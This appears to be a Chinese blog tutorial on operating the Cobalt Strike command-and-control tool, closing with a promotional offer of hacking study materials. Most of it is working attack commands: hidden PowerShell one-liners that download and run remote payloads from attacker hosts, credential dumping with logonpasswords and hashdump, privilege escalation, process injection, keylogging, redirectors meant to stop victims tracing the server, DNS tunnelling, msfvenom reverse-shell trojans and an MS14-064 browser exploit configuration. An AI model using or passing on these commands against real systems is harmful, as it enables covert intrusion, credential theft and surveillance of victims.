Cobalt Strike 是一款远程控制工具,适合在团队模式下模拟 APT 在攻防对抗中进行内网渗透。同时它还集成了端口转发、服务扫描、自动化溢出利用、多模式端口监听、多种木马生成等功能,甚至包括克隆站点获取浏览器信息。本文主要介绍 CS 的基础使用。
0x01 基础使用
工具架构
CobaltStrike 主要采用 C/S 架构,服务端支持团队协作操作,提供各种攻击所需的服务,比如设置监听器、生成各种木马、保存各类日志等;而客户端供团队成员使用,只需配置完服务器IP、服务器监听端口及账号密码即可连接成功。以下是关于架构的可视化图:
在服务器上开启服务端,后面两个参数分别是服务器主机IP以及连接密码
./teamserver 192.168.8.104 123456
在本地启动客户端配置服务器地址和连接端口并输入账号密码
成功连接服务器,不过需注意的是客户端与服务端版本要一致
启动客户端登录另一个账号,两账号之间通话非常方便,适合团队协作
简单上线
设置 HTTP 类型监听器
选择钓鱼攻击中的 WEB 脚本传递
设置对应的路径、主机地址、主机端口、监听器以及脚本执行类型
访问网站对应路径,出现界面如下说明启动成功
在靶机中执行 PowerShell 类型脚本命令,成功上线 CS
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.8.104:80/a'))"
简单利用
获取明文密码和用户密码哈希
logonpasswords
hashdump
成功提升至系统权限
getsystem
生成 HTTP 监听器的payload.bin
查看进程并选择系统权限的svchost
进程注入
shinject 732 x64
成功注入并上线系统权限
0x02 DNS监听器
重定器介绍
重定器是在服务器和目标网络之间的服务器,它的主要作用是对团队服务器进行任意的连接或返回,即通常说的代理服务器或端口转发工具,在 APT 攻击和防御中扮演着非常重要的角色,它主要提供了以下两种功能:
-
保护 CobaltStrike 服务器地址,防止受害者溯源至服务器 IP
-
提升冗余能力,如果服务器存在连接问题也能够进行通信
通过 DNS 服务器进行域名解析后访问目标网站测试重定向是否正常,通过浏览器依次访问http://r1.cs.com/a
、http://r2.cs.com/b
、http://r3.cs.com/c
,并在服务器中创建监听器并设置 web 传递,等待目标执行命令
另外还要介绍一款工具:socat,主要用于端口重定向,安装过程也非常简单
apt-get install socat
使用 socat 进行端口重定向
例:socat TCP4-LISTEN:80 , fork TCP4:[team server]:80
socat TCP4-LISTEN:80, fork TCP4:team.cs.com:80
DNS监听利用
搭建 DNS 服务器并配置信息,同时设置角色名分别如下:
cs.com 192.168.8.104
r1.cs.com 192.168.8.233
r2.cs.com 192.168.8.240
r3.cs.com 192.168.8.211
在靶机上设置 DNS 服务器为192.168.8.212
r1.cs.com
成功 ping 通cs.com
r2.cs.com
成功 ping 通cs.com
在 ubuntu 上建立 socat 转发
安装socat:
命令:socat TCP-LISTEN:80,fork TCP4:cs.com:80
设置监听器需配置 host 域名
r1.cs.com
r2.cs.com
r3.cs.com
设置 WEB 脚本生成用于攻击的 payload
访问网站对应 URL 出现页面如下,说明成功启动
在靶机中执行脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.cs.com:80/a'))"
成功上线 CS
DNS木马简介
使用 DNS 木马的优点是隐蔽性相对较好,在受害主机上不会开放多余端口,通信流量只会走53端口,能够有效规避防火墙,而缺点也十分明显,由于使用 DNS 协议,传输过程需要经 DNS 服务器解析至目标 IP,导致响应相对较慢。在 CS 上存在两种 DNS 木马类型,分别如下:
-
beacon_dns/reverse_http:传输数据小,payload通过http分阶段,将http改为dns的a记录进行通信,但速度较慢,非常隐蔽,推荐使用
-
beacon_dns/reverse_dns_txt:传输数据大,同上只是使用dns的txt方式进行通信,相比上一种传输的数据量更大
受害主机在执行 DNS 木马后会发出a记录的请求,如果本地 hosts 文件存在记录就能拿到返回 IP 地址,而不存在就会请求根服务器,还不存在就会依次访问com
、dnspot
的域名解析服务器,最终会找到名称服务器,名称服务器可以是 CS 服务器,如果存在解析记录就会返回对应域名的 IP 地址,同时还会返回 DNS 信息给受害者,受害者再请求危险的a记录到 CS 服务器,从而完成通信。
DNS隧道利用
在 VPS 控制台上指定子域名 DNS 记录,其中 test 指向 VPS 的IP地址,完成后把 c1、c2、c3 都指向 test.maccc.top
新建监听器并配置 payload 为windows/beacon_dns/reverse_http,DNS 地址指向test.maccc.top,DNS地址为c1.maccc.top、c2.maccc.top、c3.maccc.top
测试 test.maccc.top是否已经成功解析
nslookup test.maccc.top
nslookup 123456.c1.maccc.top 123456任意
dig/trace 123456.c1.maccc.top
设置 WEB 脚本生成用于攻击的 payload
在客户端和服务端分别测试连通性
服务端:tcpdump -n -i eth0 udp dst port 53
客户端:nslookup 123456.c1.maccc.top
在受害主机中执行命令成功上线
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://test.maccc.top:80/a'))"
通过mode
命令转换传输协议为 HTTP
mode http dns dns-txt
0x03 用户驱动管理
驱动模块简介
当上线后攻击者可利用驱动模块对目标发起攻击,包括屏幕截图、键盘记录、进程处理、端口扫描、用户发现、文件管理、远程vnc、浏览器代理(仅针对IE)等,相关命令包括如下:
sleep <time> #控制响应时间间隔(秒)
portscan #端口扫描
jobs #查看任务列表
jobkill <jid> #终止任务
常用驱动模块
选择目标右键进入会话交互
在会话中使用屏幕截图功能
screenshot
在屏幕截图模块中查看截取的屏幕
在会话中选择用户进程进行键盘记录
keylogger 2740 x64
在键盘记录模块中查看进程用户输入
在文件管理模块查看主机任意磁盘文件
如果想要控制桌面可使用 vnc 桌面交互模块
desktop
攻击者可选择控制屏幕或仅监控屏幕
使用浏览器代理功能
在浏览器代理模块发现已成功启用
使用端口扫描扫描本地或局域网目标
例:portscan [ip] [port] [type] [size]
portscan 192.168.8.0-192.168.8.255 1-1024,3389.5000-6000 arp 1024
在目标主机中会显示成功扫描到的主机IP
会话管理模块
CS 和 MSF 是日常渗透活动中使用最主要的两款远程控制的工具,会话管理功能能够实现两者会话自由转换。CS 能够派生自身会话,还能派生其他 CS 服务器做备份会话;而 MSF 能生成木马与 CS 建立会话,也能利用 EXP 与 CS 建立会话,当然也可以派生会话至 CS
CS派生自身会话
首先给自身派生会话
生成新监听器为http_beacon_2
选择主机新建会话
选择新监听器http_beacon_2
成功生成两个会话
成功生成三个会话
CS派生备份会话
在 A 服务器上生成新监听器
B 服务器上存在会话,同时生成新监听器,配置 IP 地址为 A 服务器对应地址和端口
在已有会话中派生会话,选择新监听器http_beacon_team
成功派生会话
CS派生MSF会话
在 MSF 中配置监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.8.222
msf5 exploit(multi/handler) > set lport 4444
设置监听器为 MSF 服务器地址和端口
但选择新监听器派生后能反弹meterpreter,但不能执行命令,可能是系统不兼容64位
MSF生成木马上线CS
使用 MSF 生成木马与CS建立会话
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.8.222 lport=5555 -f exe > ~/Desktop/shell.exe
建立监听器
执行木马成功上线 CS
MSF执行溢出上线CS
在 CS 上设置新监听器
在 MSF 使用溢出漏洞上线 CS
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.8.139
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.8.222
set lport 8888
set disablepayloadhandler True
set PrependMigrate True
exploit
-
disablepayloadhandler True:不需要在框架内来创建处理程序来服务有效载荷连接
-
PrependMigrate True:MSF 修改 stager 以便利用之后立即迁移到另一个进程
MSF派生CS会话
在 MSF 中通过溢出漏洞上线管理员
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.8.134
set SRVPORT 80
set payload windows/meterpreter/reverse_tcpset
set rhosts 192.168.0.134
set lport 4444
exploit
把当前会话派生给 CS
use exploit/windows/local/payload_inject
set session 3
set payload windows/meterpreter/reverse_http
set lhsot 192.168.8.222
set lport 8888
set DisablePayloadHandler true
exploit -j
成功派生会话给CS
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图 ![](https://img-blog.csdnimg.cn/direct/424e38ca2a4f4d9f8309ef122fbcf07a.png)
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取